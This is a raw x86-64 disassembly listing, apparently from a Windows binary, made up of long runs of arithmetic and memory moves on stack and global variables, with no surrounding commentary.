movsx ecx, byte [rsp + 0x122]
xor eax, ecx
mov rcx, qword [rsp + 0xca70]
mov byte [rcx], al
movzx eax, byte [rsp + 0x100]
mov byte [rsp + 0x140], al
mov rax, qword [0x1402c92a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1708]
or eax, ecx
mov word [rsp + 0x17e4], ax
movsx eax, word [rsp + 0x1720]
movsx ecx, word [rsp + 0x18f4]
sub eax, ecx
mov word [rsp + 0x17b0], ax
mov rax, qword [rsp + 0xd400]
mov qword [rsp + 0xda00], rax
mov eax, dword [rsp + 0x6af4]
mov ecx, dword [0x1402c7498]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a30], eax
lea rax, [rsp + 0xd698]
mov qword [rsp + 0xda08], rax
mov rax, qword [rsp + 0xc198]
mov ecx, dword [rsp + 0x68f4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x69d0], eax
lea rax, [rsp + 0xa8]
mov qword [0x1402c9488], rax
mov rax, qword [rsp + 0xba98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1708]
sub eax, ecx
mov word [rsp + 0x18d0], ax
lea rax, [rsp + 0x7f]
mov qword [rsp + 0xda10], rax
mov rax, qword [rsp + 0xd660]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc098]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1578], ax
lea rax, [rsp + 0x13a]
mov qword [rsp + 0xda18], rax
mov rax, qword [rsp + 0xcf28]
mov rcx, qword [rsp + 0xd5c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xcda8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xca68]
mov qword [rsp + 0xda20], rax
mov rax, qword [rsp + 0xbca8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd098]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcdc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd5f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a90], eax
movzx eax, word [rsp + 0x1548]
mov word [0x1402c9490], ax
mov rax, qword [rsp + 0xc2f0]
movzx eax, word [rax]
mov word [rsp + 0x1940], ax
mov rax, qword [rsp + 0xc5b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x116]
add eax, ecx
mov byte [rsp + 0x109], al
movzx eax, byte [rsp + 0xe4]
mov byte [rsp + 0x141], al
movzx eax, byte [rsp + 0x118]
movzx ecx, byte [rsp + 0x111]
add eax, ecx
mov byte [rsp + 0x92], al
mov rax, qword [rsp + 0xd518]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd668]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd4d0], rax
mov rax, qword [0x1402c7490]
mov qword [rsp + 0xda28], rax
mov rax, qword [rsp + 0xc748]
mov ecx, dword [rsp + 0x6bac]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xcfb0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6a08]
mov dword [rsp + 0x6d1c], eax
mov rax, qword [rsp + 0xc578]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd090]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1402c74ec], ax
mov rax, qword [rsp + 0xd858]
movsx eax, byte [rax]
cdq
mov ecx, 0x31
idiv ecx
mov byte [rsp + 0xf6], al
movzx eax, byte [rsp + 0x93]
mov rcx, qword [rsp + 0xd1c8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xd5], al
lea rax, [0x1402c91f8]
mov qword [rsp + 0xda30], rax
movzx eax, word [rsp + 0x1708]
movzx ecx, word [rsp + 0x18f8]
sar eax, cl
mov rcx, qword [rsp + 0xc560]
mov word [rcx], ax
lea rax, [rsp + 0xc0e8]
mov qword [rsp + 0xda38], rax
mov rax, qword [rsp + 0xc628]
mov ecx, dword [rsp + 0x69a4]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x69f4], eax
lea rax, [rsp + 0xba08]
mov qword [rsp + 0xda40], rax
mov rax, qword [rsp + 0xc738]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b54]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ac4], eax
movsx eax, byte [rsp + 0xc0]
movsx ecx, byte [rsp + 0x6a]
sub eax, ecx
mov byte [rsp + 0xf2], al
movzx eax, word [rsp + 0x158c]
mov rcx, qword [rsp + 0xc478]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c756c], ax
mov rax, qword [rsp + 0xd778]
movzx eax, word [rax]
mov word [rsp + 0x1944], ax
movzx eax, byte [0x1402c748b]
mov rcx, qword [rsp + 0xd2f0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x100], al
mov rax, qword [rsp + 0xcb90]
movzx eax, byte [rax]
mov byte [rsp + 0x142], al
mov rax, qword [rsp + 0xbb90]
mov rcx, qword [rsp + 0xc540]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd6b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd0b0]
mov rcx, qword [rsp + 0xc690]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc848]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd7c8]
mov eax, dword [rax]
mov dword [rsp + 0x6d20], eax
mov rax, qword [rsp + 0xbf80]
mov rcx, qword [rsp + 0xd2f8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbf38], rax
mov rax, qword [rsp + 0xd4c8]
movzx eax, byte [rax]
mov byte [rsp + 0x143], al
mov rax, qword [rsp + 0xcc90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd1a8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1402c91d0]
mov word [rcx], ax
mov rax, qword [rsp + 0xc098]
movzx eax, word [rax]
movzx ecx, word [0x1402c91f8]
add eax, ecx
mov rcx, qword [rsp + 0xc680]
mov word [rcx], ax
mov rax, qword [rsp + 0xba80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfb]
shl eax, cl
mov rcx, qword [rsp + 0xccb0]
mov byte [rcx], al
lea rax, [rsp + 0x1894]
mov qword [rsp + 0xda48], rax
mov rax, qword [rsp + 0xce38]
mov ecx, dword [0x1402c90a0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6c00], eax
lea rax, [rsp + 0xbd88]
mov qword [rsp + 0xda50], rax
mov rax, qword [rsp + 0xcf98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd210]
mov qword [rsp + 0xda58], rcx
movzx ecx, al
mov rax, qword [rsp + 0xda58]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xd9a0], rax
mov rax, qword [rsp + 0xbf78]
mov rcx, qword [rsp + 0xcad0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6cc8], eax
lea rax, [rsp + 0x1754]
mov qword [rsp + 0xda60], rax
lea rax, [rsp + 0x80]
mov qword [0x1402c9498], rax
mov rax, qword [rsp + 0xbc78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd378]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc590]
mov byte [rcx], al
lea rax, [0x1402c90d8]
mov qword [rsp + 0xda68], rax
mov rax, qword [rsp + 0xd4c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x112]
sub eax, ecx
mov rcx, qword [rsp + 0xc908]
mov byte [rcx], al
mov rax, qword [rsp + 0xc450]
mov qword [rsp + 0xda70], rax
mov eax, dword [rsp + 0x6988]
mov ecx, dword [rsp + 0x6bc0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc3e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xda38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd2c0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd518]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc768]
mov eax, dword [rax]
mov dword [rsp + 0x6d24], eax
movzx eax, word [rsp + 0x193c]
movzx ecx, word [rsp + 0x1924]
add eax, ecx
mov word [rsp + 0x1768], ax
movsx eax, byte [rsp + 0x131]
mov rcx, qword [rsp + 0xc1a8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1402c90b3], al
mov rax, qword [rsp + 0xcf70]
movzx eax, word [rax]
mov word [rsp + 0x1948], ax
mov rax, qword [0x1402c93f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b]
add eax, ecx
mov byte [rsp + 0x9f], al
mov rax, qword [rsp + 0xd690]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x188c]
sub eax, ecx
mov rcx, qword [rsp + 0xd420]
mov word [rcx], ax
movzx eax, byte [rsp + 0xdc]
mov byte [rsp + 0x144], al
mov rax, qword [rsp + 0xd578]
mov rcx, qword [rsp + 0xc370]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd9f8], rax
mov rax, qword [rsp + 0xd0b8]
mov qword [rsp + 0xda78], rax
mov rax, qword [rsp + 0xd8f8]
mov ecx, dword [rsp + 0x6a48]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6c24], eax
mov rax, qword [rsp + 0xd980]
mov rcx, qword [rsp + 0xd000]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xd190]
mov dword [rcx], eax
lea rax, [rsp + 0x1844]
mov qword [0x1402c94a0], rax
mov rax, qword [rsp + 0xd4a8]
movzx eax, byte [rax]
mov byte [rsp + 0x145], al
mov rax, qword [rsp + 0xbca0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1778]
sar eax, cl
mov word [rsp + 0x1698], ax
lea rax, [rsp + 0x17ac]
mov qword [rsp + 0xda80], rax
movzx eax, byte [rsp + 0x11a]
movzx ecx, byte [rsp + 0x140]
shl eax, cl
mov rcx, qword [rsp + 0xbdc0]
mov byte [rcx], al
lea rax, [0x1402c90a0]
mov qword [rsp + 0xda88], rax
mov eax, dword [rsp + 0x68b0]
mov ecx, dword [rsp + 0x6b00]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x68e4], eax
mov rax, qword [rsp + 0xcae8]
mov rcx, qword [rsp + 0xc9c8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd320]
mov qword [rcx], rax
mov rax, qword [rsp + 0xce80]
mov qword [rsp + 0xda90], rax
mov rax, qword [rsp + 0xc9e8]
movsx eax, byte [rax]
imul eax, eax, 0x1e
mov rcx, qword [0x1402c9470]
mov byte [rcx], al
mov rax, qword [rsp + 0xc398]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1800]
sub eax, ecx
mov word [rsp + 0x1544], ax
movzx eax, word [rsp + 0x16d0]
mov word [rsp + 0x194c], ax
mov rax, qword [rsp + 0xd588]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd028]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x187c], ax
movzx eax, byte [rsp + 0xfd]
mov rcx, qword [0x1402c9148]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x102], al
mov rax, qword [rsp + 0xcea0]
mov qword [rsp + 0xda98], rax
mov rax, qword [rsp + 0xc2f8]
mov rcx, qword [rsp + 0xd9d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6bdc], eax
lea rax, [rsp + 0x6abc]
mov qword [rsp + 0xdaa0], rax
mov rax, qword [rsp + 0xc8b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcc10]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd710], rax
movsx eax, word [rsp + 0x17fc]
movsx ecx, word [rsp + 0x1674]
and eax, ecx
mov word [0x1402c93e0], ax
mov rax, qword [rsp + 0xd590]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd938]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x16dc], ax
lea rax, [rsp + 0x9c]
mov qword [rsp + 0xdaa8], rax
movsx eax, byte [rsp + 0x61]
mov rcx, qword [rsp + 0xbdf8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd928]
mov byte [rcx], al
movzx eax, byte [rsp + 0x53]
mov byte [rsp + 0x146], al
mov rax, qword [rsp + 0xce00]
mov eax, dword [rax]
mov ecx, dword [0x1402c7498]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x69f0], eax
mov rax, qword [rsp + 0xbec0]
mov rcx, qword [rsp + 0xd320]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc330]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd400]
mov qword [rsp + 0xdab0], rax
mov rax, qword [rsp + 0xd818]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6d10]
shr eax, cl
mov dword [rsp + 0x6ab8], eax
mov rax, qword [rsp + 0xc490]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd338]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1402c7570], ax
movzx eax, word [0x1402c7500]
mov word [rsp + 0x1950], ax
mov rax, qword [rsp + 0xcc68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5b]
xor eax, ecx
mov byte [rsp + 0xdc], al
lea rax, [rsp + 0x143]
mov qword [rsp + 0xdab8], rax
movsx eax, word [rsp + 0x15bc]
movsx ecx, word [0x1402c91a0]
or eax, ecx
mov rcx, qword [rsp + 0xba90]
mov word [rcx], ax
mov rax, qword [rsp + 0xc268]
mov ecx, dword [rsp + 0x6bdc]
imul ecx, dword [rax]
mov eax, ecx
mov rcx, qword [rsp + 0xd410]
mov dword [rcx], eax
lea rax, [rsp + 0x6b18]
mov qword [rsp + 0xdac0], rax
mov rax, qword [rsp + 0xd5d8]
mov rcx, qword [rsp + 0xc120]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xc150]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc310]
mov rax, qword [rax]
mov qword [rsp + 0xdac8], rax
lea rax, [rsp + 0x5a]
mov qword [0x1402c94a8], rax
mov rax, qword [rsp + 0xba98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbe90]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x18b4], ax
movsx eax, word [rsp + 0x18b8]
movsx ecx, word [rsp + 0x1744]
sub eax, ecx
mov word [rsp + 0x17b4], ax
mov rax, qword [rsp + 0xc320]
movzx eax, byte [rax]
mov byte [rsp + 0x147], al
mov rax, qword [rsp + 0xd450]
movzx eax, byte [rax]
movzx ecx, byte [reloc.SHELL32.dll_ILGetNext]
add eax, ecx
mov rcx, qword [rsp + 0xd450]
mov byte [rcx], al
mov eax, dword [rsp + 0x69c0]
mov dword [rsp + 0x6d28], eax
mov eax, dword [rsp + 0x6918]
mov ecx, dword [rsp + 0x6a20]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbe68]
mov dword [rcx], eax
mov rax, qword [rsp + 0xba00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd2e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb9d8], rax
lea rax, [rsp + 0xd430]
mov qword [rsp + 0xdad0], rax
mov rax, qword [rsp + 0xca70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd540]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1402c9448]
mov byte [rcx], al
movsx eax, byte [rsp + 0x5a]
mov rcx, qword [rsp + 0xd490]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6a], al
mov rax, qword [rsp + 0xd6d0]
movzx eax, word [rax]
mov word [rsp + 0x1954], ax
mov rax, qword [rsp + 0xd040]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb9]
sub eax, ecx
mov rcx, qword [rsp + 0xc870]
mov byte [rcx], al
movzx eax, word [rsp + 0x1610]
cdq
mov ecx, 0x26d
idiv ecx
mov word [rsp + 0x192c], ax
lea rax, [rsp + 0xc730]
mov qword [rsp + 0xdad8], rax
mov rax, qword [rsp + 0xc038]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6b20]
sar eax, cl
mov dword [rsp + 0x6c10], eax
lea rax, [rsp + 0x6ac8]
mov qword [rsp + 0xdae0], rax
mov rax, qword [rsp + 0xc1b0]
mov rcx, qword [rsp + 0xced8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xbb70], rax
movzx eax, byte [rsp + 0xa8]
mov byte [0x1402c90de], al
movzx eax, word [rsp + 0x1900]
mov word [rsp + 0x1958], ax
mov rax, qword [rsp + 0xd118]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x165c]
xor eax, ecx
mov rcx, qword [rsp + 0xc798]
mov word [rcx], ax
movzx eax, byte [rsp + 0x8b]
mov rcx, qword [rsp + 0xbb18]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x77], al
lea rax, [rsp + 0x188c]
mov qword [rsp + 0xdae8], rax
mov eax, dword [rsp + 0x6c64]
mov ecx, dword [rsp + 0x6cf0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a6c], eax
lea rax, [rsp + 0x6be4]
mov qword [rsp + 0xdaf0], rax
mov rax, qword [rsp + 0xc3f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xda70]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc678], rax
mov rax, qword [rsp + 0xcaf0]
mov rcx, qword [rsp + 0xcf60]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd8a8], rax
movzx eax, byte [rsp + 0x87]
mov byte [rsp + 0x148], al
mov rax, qword [rsp + 0xc658]
movsx eax, word [rax]
movsx ecx, word [0x1402c7540]
sub eax, ecx
mov word [0x1402c7530], ax
mov rax, qword [rsp + 0xd050]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1660]
sub eax, ecx
mov rcx, qword [rsp + 0xc940]
mov word [rcx], ax
lea rax, [rsp + 0x118]
mov qword [rsp + 0xdaf8], rax
movzx eax, word [rsp + 0x16a0]
mov rcx, qword [0x1402c92c0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc108]
mov word [rcx], ax
mov rax, qword [rsp + 0xc118]
mov ecx, dword [rsp + 0x6acc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x68d8], eax
mov rax, qword [rsp + 0xc2d8]
mov rax, qword [rax]
mov qword [rsp + 0xdb00], rax
mov rax, qword [rsp + 0xd548]
mov ecx, dword [rsp + 0x6a40]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6a18], eax
mov rax, qword [rsp + 0xd0b8]
mov qword [rsp + 0xdb08], rax
mov rax, qword [rsp + 0xc600]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1568]
sub eax, ecx
mov word [rsp + 0x1830], ax
lea rax, [rsp + 0x5a]
mov qword [0x1402c94b0], rax
lea rax, [0x1402c90c4]
mov qword [rsp + 0xdb10], rax
movzx eax, byte [rsp + 0xcd]
movzx ecx, byte [rsp + 0x147]
and eax, ecx
mov byte [rsp + 0x118], al
mov rax, qword [rsp + 0xc1c0]
movsx eax, byte [rax]
mov rcx, qword [0x1402c9400]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x130], al
mov eax, dword [rsp + 0x6aac]
mov dword [rsp + 0x6d2c], eax
mov eax, dword [rsp + 0x68d4]
movzx ecx, al
mov eax, dword [rsp + 0x6b94]
shr eax, cl
mov dword [rsp + 0x699c], eax
mov rax, qword [rsp + 0xbfd8]
mov rax, qword [rax]
mov qword [rsp + 0xdb18], rax
mov rax, qword [rsp + 0xc9c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc328]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd560], rax
mov rax, qword [rsp + 0xd508]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcef0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1948], ax
mov rax, qword [rsp + 0xc520]
movzx eax, word [rax]
movzx ecx, word [0x1402c756c]
cdq
idiv ecx
mov word [0x1402c92e8], ax
lea rax, [rsp + 0x15e4]
mov qword [rsp + 0xdb20], rax
movzx eax, word [rsp + 0x15d0]
movzx ecx, word [rsp + 0x1780]
add eax, ecx
mov word [rsp + 0x1620], ax
movzx eax, byte [rsp + 0x10e]
mov byte [rsp + 0x149], al
mov rax, qword [rsp + 0xd4c0]
mov rcx, qword [rsp + 0xc588]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6b58], eax
mov rax, qword [rsp + 0xda88]
mov ecx, dword [rsp + 0x68a0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6bc4], eax
mov rax, qword [rsp + 0xd518]
mov rax, qword [rax]
mov qword [rsp + 0xdb28], rax
mov rax, qword [rsp + 0xcf00]
mov rcx, qword [rsp + 0xd950]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc730], rax
mov rax, qword [rsp + 0xc070]
movzx eax, word [rax]
mov word [rsp + 0x195c], ax
mov rax, qword [rsp + 0xc238]
movzx eax, byte [rax]
movzx ecx, byte [0x1402c74f2]
add eax, ecx
mov byte [0x1402c74a4], al
movsx eax, word [rsp + 0x186c]
mov rcx, qword [rsp + 0xda68]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x18c8], ax
movzx eax, byte [rsp + 0x104]
movzx ecx, byte [rsp + 0x13e]
add eax, ecx
mov rcx, qword [rsp + 0xc9d8]
mov byte [rcx], al
movzx eax, byte [0x1402c90c2]
mov byte [rsp + 0x14a], al
mov rax, qword [rsp + 0xbda8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbcb8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1848], ax
mov rax, qword [rsp + 0xca48]
mov qword [rsp + 0xdb30], rax
mov rax, qword [rsp + 0xd708]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a8c], eax
mov eax, dword [rsp + 0x69a4]
mov dword [rsp + 0x6d30], eax
mov rax, qword [rsp + 0xc130]
mov rcx, qword [rsp + 0xbaa8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcd98], rax
mov rax, qword [rsp + 0xd148]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16b8]
add eax, ecx
mov word [0x1402c7574], ax
mov rax, qword [rsp + 0xc2e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbd30]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc430]
mov byte [rcx], al
movzx eax, byte [rsp + 0xbe]
mov byte [rsp + 0x14b], al
mov rax, qword [rsp + 0xcae0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15b8]
xor eax, ecx
mov rcx, qword [rsp + 0xd9e8]
mov word [rcx], ax
lea rax, [rsp + 0xc7]
mov qword [rsp + 0xdb38], rax
mov rax, qword [rsp + 0xd230]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xbe38]
sar rax, cl
mov qword [rsp + 0xbd40], rax
mov rax, qword [rsp + 0xd3a0]
movzx ecx, al
mov rax, qword [rsp + 0xb9b0]
shl rax, cl
mov rcx, qword [rsp + 0xcaf8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6a0c]
mov dword [rsp + 0x6d34], eax
mov eax, dword [rsp + 0x6978]
mov ecx, dword [rsp + 0x6c40]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b10], eax
movzx eax, word [0x1402c74a0]
mov rcx, qword [rsp + 0xd568]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1402c93a0]
mov word [rcx], ax
lea rax, [rsp + 0x16e4]
mov qword [rsp + 0xdb40], rax
mov rax, qword [rsp + 0xc9e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x128]
sub eax, ecx
mov rcx, qword [rsp + 0xd858]
mov byte [rcx], al
mov rax, qword [rsp + 0xbc78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xba18]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xd4c8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1618]
mov word [rsp + 0x1960], ax
mov rax, qword [rsp + 0xc2c0]
mov rcx, qword [rsp + 0xd5b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6cb0], eax
mov eax, dword [rsp + 0x6a5c]
mov dword [rsp + 0x6d38], eax
mov rax, qword [rsp + 0xc200]
mov rcx, qword [rsp + 0xcb58]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbc28]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd0b8]
mov qword [rsp + 0xdb48], rax
movsx eax, word [rsp + 0x1778]
mov rcx, qword [rsp + 0xd8d0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c7578], ax
movzx eax, byte [rsp + 0x6e]
mov rcx, qword [rsp + 0xd1c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xd6], al
movzx eax, word [rsp + 0x1958]
mov rcx, qword [0x1402c9430]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1620], ax
movzx eax, byte [rsp + 0x52]
mov byte [rsp + 0x14c], al
mov rax, qword [rsp + 0xd450]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x120]
sar eax, cl
mov rcx, qword [rsp + 0xcfe8]
mov byte [rcx], al
mov eax, dword [rsp + 0x69c0]
mov dword [rsp + 0x6d3c], eax
mov rax, qword [rsp + 0xbaf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a90]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d14], eax
mov rax, qword [rsp + 0xd0a0]
mov rcx, qword [rsp + 0xcd18]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd8a8], rax
mov rax, qword [0x1402c7490]
mov qword [rsp + 0xdb50], rax
lea rax, [rsp + 0x1764]
mov qword [0x1402c94b8], rax
mov rax, qword [rsp + 0xc3b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbb18]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xbb], al
movzx eax, byte [rsp + 0xde]
mov byte [rsp + 0x14d], al
mov rax, qword [rsp + 0xdb40]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd758]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc658]
mov word [rcx], ax
movzx eax, byte [rsp + 0xc1]
movzx ecx, byte [rsp + 0x127]
sub eax, ecx
mov byte [rsp + 0x147], al
mov rax, qword [rsp + 0xd058]
mov rax, qword [rax]
mov qword [rsp + 0xdb58], rax
mov rax, qword [rsp + 0xbb90]
mov ecx, dword [rsp + 0x6b34]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x69f8], eax
mov rax, qword [rsp + 0xd698]
mov qword [rsp + 0xdb60], rax
mov rax, qword [rsp + 0xdaa0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b74]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd3f8]
mov dword [rcx], eax
movsx eax, byte [0x1402c90dd]
mov rcx, qword [rsp + 0xbb78]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c90b2], al
movsx eax, word [rsp + 0x16fc]
movsx ecx, word [rsp + 0x16c0]
and eax, ecx
mov rcx, qword [rsp + 0xca20]
mov word [rcx], ax
movzx eax, byte [rsp + 0x10f]
mov byte [rsp + 0x14e], al
movzx eax, byte [rsp + 0x12c]
movzx ecx, byte [rsp + 0x104]
sub eax, ecx
mov byte [rsp + 0x83], al
lea rax, [rsp + 0x15a4]
mov qword [rsp + 0xdb68], rax
mov rax, qword [rsp + 0xd628]
mov ecx, dword [rsp + 0x6c1c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x69d8], eax
lea rax, [rsp + 0xc9f0]
mov qword [rsp + 0xdb70], rax
mov rax, qword [rsp + 0xbaa8]
mov rcx, qword [rsp + 0xcc20]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbf80]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd5e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b34]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bac], eax
lea rax, [rsp + 0x1910]
mov qword [0x1402c94c0], rax
mov rax, qword [rsp + 0xc8e0]
movzx eax, word [rax]
mov word [rsp + 0x1964], ax
movzx eax, byte [rsp + 0x96]
mov rcx, qword [rsp + 0xd4a8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x69], al
movzx eax, byte [0x1402c74c3]
mov byte [rsp + 0x14f], al
movzx eax, word [rsp + 0x18cc]
mov rcx, qword [rsp + 0xbb10]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x164c], ax
mov rax, qword [rsp + 0xd638]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6af8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcba0]
mov dword [rcx], eax
lea rax, [rsp + 0xc4d8]
mov qword [rsp + 0xdb78], rax
mov rax, qword [rsp + 0xc540]
